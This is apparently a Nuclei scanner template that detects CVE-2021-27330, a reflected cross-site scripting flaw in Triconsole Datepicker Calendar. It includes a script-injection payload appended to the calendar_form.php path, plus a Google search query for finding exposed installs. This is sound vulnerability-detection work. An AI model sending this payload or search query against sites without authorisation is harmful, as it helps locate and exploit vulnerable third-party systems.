id: CVE-2021-27330

info:
  name: Triconsole Datepicker Calendar <3.77 - Cross-Site Scripting
  author: pikpikcu,daffainfo
  severity: medium
  description: |
    Triconsole Datepicker Calendar before 3.77 contains a cross-site scripting vulnerability in calendar_form.php. Attackers can read authentication cookies that are still active, which can be used to perform further attacks such as reading browser history, directory listings, and file contents.
  remediation: |
    Upgrade to a patched version of Triconsole Datepicker Calendar that properly validates user input to prevent XSS attacks.
  reference:
    - https://www.exploit-db.com/exploits/49597
    - http://www.triconsole.com/
    - http://www.triconsole.com/php/calendar_datepicker.php
    - https://nvd.nist.gov/vuln/detail/CVE-2021-27330
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-27330
    cwe-id: CWE-79
    epss-score: 0.00381
    epss-percentile: 0.69992
    cpe: cpe:2.3:a:triconsole:datepicker_calendar:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: triconsole
    product: datepicker_calendar
    google-query: intitle:TriConsole.com - PHP Calendar Date Picker
  tags: xss,edb,cve,cve2021,triconsole

http:
  - method: GET
    path:
      - '{{BaseURL}}/calendar/calendar_form.php/"><script>alert(document.domain)</script>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>'
          - '<title>TriConsole.com - PHP Calendar Date Picker</title>'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
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